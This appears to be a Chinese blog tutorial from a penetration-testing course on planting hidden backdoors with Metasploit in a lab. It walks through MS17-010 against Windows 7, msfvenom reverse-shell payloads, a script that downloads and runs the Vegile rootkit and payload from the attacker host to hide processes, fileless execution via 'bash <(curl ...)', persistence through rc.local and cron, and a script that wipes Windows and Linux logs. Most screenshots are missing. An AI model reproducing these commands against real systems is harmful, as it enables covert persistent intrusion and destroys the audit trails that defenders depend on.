MSF实战-制作隐藏后门

隐藏后门的意义

通常我们获取到目标计算机的shell 是短暂的不可持续的,再或者我们很容易被用户察觉,所以我们需要扩大战果来隐藏自己的行踪和保证我们的持久性访问。

实战-使用ms17-010永恒之蓝漏洞对 win7 进行渗透

环境介绍
全部使用 Win7 作为靶机来进行渗透测试
Win7 环境说明:IP地址 192.168.1.56

获取 shell
永恒之蓝是指 z017年4月14 日晚,黑客园体 Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含 “永恒之蓝” 工具,“永恒之蓝” 利用Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
windows7 是2009 年发布
永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虛拟货币挖矿机等恶意程序。

1、我们先对主机进行扫描确认是否存在漏洞
在这里插入图片描述

在这里插入图在这里插入图片描述
片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
开启win7系统主机的默认共享,默认共享对windows主机的文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

在这里插入图片描述

我们先将 session 保存到后台化
meterpreter > background
扩展:psexec 实用程序在远程系统上需要做一些事情:服务器消息块(SMB)服务必须可用井且可以访问(例如,未被防火墙阻止):必须启用文件和打印共享。Admin$ 共享必须可用井且可以访问。它是一个隐藏的 SMB 共享,它映射到 Windows 目录,用于软件部署。提供给psexec 实用程序的凭据必须具有访问 Admin$ 共享的权限。psexec 的可执行文件内有 Windows 服务映像。它接受此服务井将其部署到远程计算机上的 Admin$ 共享中。然后,它使用SMB 上的 DCE/RPC(分布式计算环境/远程过程调用)接口来访问 Windows Service Control Manager APl。它将打开远程计算机上的 psexec服务。然后 psexec 服务创建一个可用于将命令发送到系统的命名管道。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

实战-Linux 无文件木马程序

1 环境准备
Kali: 192.168.1.53
Centos: 192.168.1.63
这里我们按照前面学习的方法生成一个恶意文件让目标系统执行来获取 shell。
root@xuegod53:~# msfvenom -a x64 --platform linux -p linux/x64/shel/reverse_tcp
LHOST=192.168.1.53 LPORT=8080 -b “\x00” -f elf -o /var/www/html/xuegod-backdoor
我们再生成一个用来隐藏执行的后门
root@xuegod53:~# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp
LHOST=192.168.1.53 LPORT=4444 -b “\x00” -f elf -o /var/www/html/xuegod-ghost

在这里插入图片描述

这里我们按照前面学习的方法生成一个恶意文件让目标系统执行来获取shell。
root@xuegod53:~# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp
LHOST=192.168.1.53 LPORT=8080 -b “\x00” -f elf -o /var/www/html/xuegod-backdoor
我们再生成一个用来隐藏执行的后门
root@ xuegod53:~# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp
LHOST=192.168.1.53 LPORT =4444 -b "\x00” -f elf -o /var/www/html/xuegod-ghost

互动:ghost 是什么意思? 还原系统
幽灵启动 apache
root@xuegod53:~# systemctl start apache2
root@xuegod53:~# systemctl enable apache2 #设置开机启动
root@ xuegod53:~# systemctl is-enabled apache2

上传 Vegile 维吉尔工具到网站目录下方便 centos 下载
Vegile是用于linux 系统渗透测试中的权限维持。
Vegile 这个工具将设置一个后门/rootkit, 并这个后门会直接隐藏进程,无限连接 metesploit,
持续维持你的 Metepreter 会话,即使木马进程被杀死,它依然会再次重新运行,换句话说是该进程无限循环的。

Vegile 官方下载链接:https://github.com/Screetsec/Vegile.git
Vegile 常用方法:
./Vegite --i 隐藏你的后门
./Vegile --u 无限复制你的metasploit会话,即使他被kill,依然可以再次运行
使用注意事项:
木马一定要放在Vegile 目录下;
Vegile 一般用于维持 meterpreter 会话;
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/×64/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.53
msf5 exploit(multi/handler)> set LPORT 8080 #改一下端口,防止端口冲突
msf5 exploit(multi/handler) > exploit
#在后台运行 handler,发现在井没有 session
因为客户端还没有执行了
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

到 centos 操作系统下载执行文件来建立 session,我们为了模拟实战效果隐藏行为通过该 session
进行操作。
[root@ xuegod63 ~]# wget 192.168.1.53/xuegod-backdoor
添加执行权限
[root@xuegod63 ~]# chmod +× xuegod-backdoor
执行程序
[root@xuegod63 ~]# ./xuegod-backdoor
#执行完成后获取到 session
使用 sessionID 连接 centos
msf5 exploit(multi/handler) > sessions -i 2
参数:-I < opts > Interact with the supplied session ID。
注:这个Ipayload 中的shell 是没有bash 提示符的,所以不要以为失败了。
在这里插入图片描述

对于这种命令找不到怎么办?
可以使用绝对路径
/usr/sbin/ifconfig
在这里插入图片描述

注:这个 session 要保持连接,先不要断开!后期面要使用到。

实战-使用脚本来进行自动创建后门

创建无文件后门程序
配置监听 4444 端口
新建终端窗口,MSF 控制台可以启动多个互不影响。
root@xuegod53: ~ # msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/×64/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.53
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit (multi/handler) > exploit -j
我们回到前面建立的 session 中下载用于隐藏进程的工具
在这里插入图片描述
在这里插入图片描述

目标端口为 52038
我们查看一下我们注入到了哪个进程。
msf5 exploit(multi/handler) > sessions -i 3
在这里插入图片描述
同样是一个 sh进程
我们删除我们下载的所有文件
rm -rf /root/Vegile-master
如遇到错误提示:ERROR: ld.so:object /usr/local/lib/libprocesshider.so’ from /etc/ld.so.preload cannot be preloaded: ignored.
解决方法:echo “” > fetc/ld.so.preload # 64 位系统没有这个文件导致报错
注:删除时,也会把xuegod-ghost 这个后门程序删除了。虽然文件被删除了,但会话,还是建立着了。删除我们所有文件之后程序依旧正常执行。

例2:

./Vegile --u 无限复制你的metasploit会话,即使他被kill,依然可以再次运行
./Vegile --i xuegod-ghost
在这里插入图片描述

#!/bin/bash
#切换工作目录
cd /tmp/
#把前面下载Vegile到执行后门文件的命令使用&&拼接成一条命令
#&&表示前面的命令执行成功则执行下一条命令
#echo y|表示将y作为 Vegile 命令的输入,因为执行 Vegile 命令是需要我们按任意键退出,所以我们手动输入一个字符让程序执行完成后自动退出。
#>> /dev/null 2>&1 不显示所有输出结果。
wget 192.168.1.53/Vegile-master.zip && unzip Vegile-master.zip && cd Vegile-master && chmod + x Vegile && wget 192.168.1.53/xuegod-ghost && chmod +x xuegod-ghost && echo y | ./Vegile –
i xuegod-ghost >> /dev/null 2>&1
#删除下载的所有文件
rm -rf /tmp/Vegile-master.zip /tmp/Vegile-master
保存退出即可,脚本文件不需要添加执行权限
2>&1的意思就是将标准错误更定向到标准输出。这里标准输出已经重定向到了/dev/null。那么标准错误也会输出到/dev/null。/dev/null 可以看作"黑洞”它等价于一个只写文件.所有号入它的内容都会永远丟失.而尝试从它那儿读取内容则什么也读不到

我们回到 MSF 控制台进行测试
首先我们先清空后台任务和前面己经建立的 session
msf5 exploit(multi/handler) > jobs -K
msf5 exploit(multi/handler) > sessions -K
msf5 exploit(multi/handler) > exploit -j
在这里插入图片描述
我们到 centos 上执行一下脚本这里教大家一个高级的执行技巧

在这里插入图片描述

说明:
bash<() #表示将括号中的内容通过 bash 来执行-curl -s -L #curl是一个利用 URL语法在命令行下进行文件传输的工具
-s --silent #表示静默模式不输出任何内容
-L 跟http连接,组合使用的效果是把http 连接中的文件下载到内存中,然后传 bash,进行执行。这样好处是:本地不会保存任何文件。
>>/dev/null 2>&1#不输出任何信息

在这里插入图片描述

Session 已经建立
msf5 exploit(multi/handler) > sessions -i 21 «
[*] Starting interaction with 21…
pwd
pwd: error retrieving current directory: getewd: cannot access parent directories: No such file or directorys

我们可以看到,提示目录不存在,因为payload 所在的 Vegile-master 目录已被删除,我们只需要

tmp 目录中我们下载的所有文件也被清除。
exit 退出
配置开机启动
把命令添加到开机启动项
提示:一般黑客进来都会在开机启动项里加点东西,/etc/rc.locak

在这里插入图片描述

在这里插入图片描述

添加可执行权限,部分 centos 操作系统rc.local 文件没有执行权限需要手动添加。
[root@ xuegod63 ~]# chmod +x /etc/rc.d/rc.local
我们回到 MSF 控制台开启侦听…
msf5 exploit(multi/handler)>sessions -K #删除原来的会话
msf5 exploit(multi/handler)>exploit -j #重新侦听

在这里插入图片描述

重启 centos 操作系统
[root@ xuegod63 ~] # reboot
在这里插入图片描述
Session 己建立

在这里插入图片描述

配置计划任务
在这里插入图片描述

保存退出,每小时执行一次。

系统日志清理

Windows 日志清理
正常的远程访问在 windows 的时间查看器中可以看到相关记录
在这里插入图片描述

meterpreter > clearev

在这里插入图片描述

在这里插入图片描述

删除系统日志目录下的一些日志文件
meterpreter > shell
C:\Windows\system32>del %WINDIR%*.log /a/s/q/f

Linux 日志清理
Linux 可能根据发行版本不同,日志文件名称也有所不同。所以具体清除需要大家先看一下目标操作系统
清理历史命令
history -c
使系统不再保存历史命令
vi/etc/profile,找到HISTSIZE 这个值,修改为0
删除访问日志
1 . 访问失败的日志
在这里插入图片描述

刪除登陆失败记录:echo > /var/log/btmp

2.访问成功的日志
在这里插入图片描述

删除登录成功记录:echo >/var/log/wtmp(此时执行 last 命令就会发现没有记录)

3.刪除日志记录:echo >/var/log/secure

汇总脚本
root@xuegod53:~ # cat clog.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_loge
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/loq/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c
执行时注意文件是否有执行权限。而且删除日志一般只有root权限才可以。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值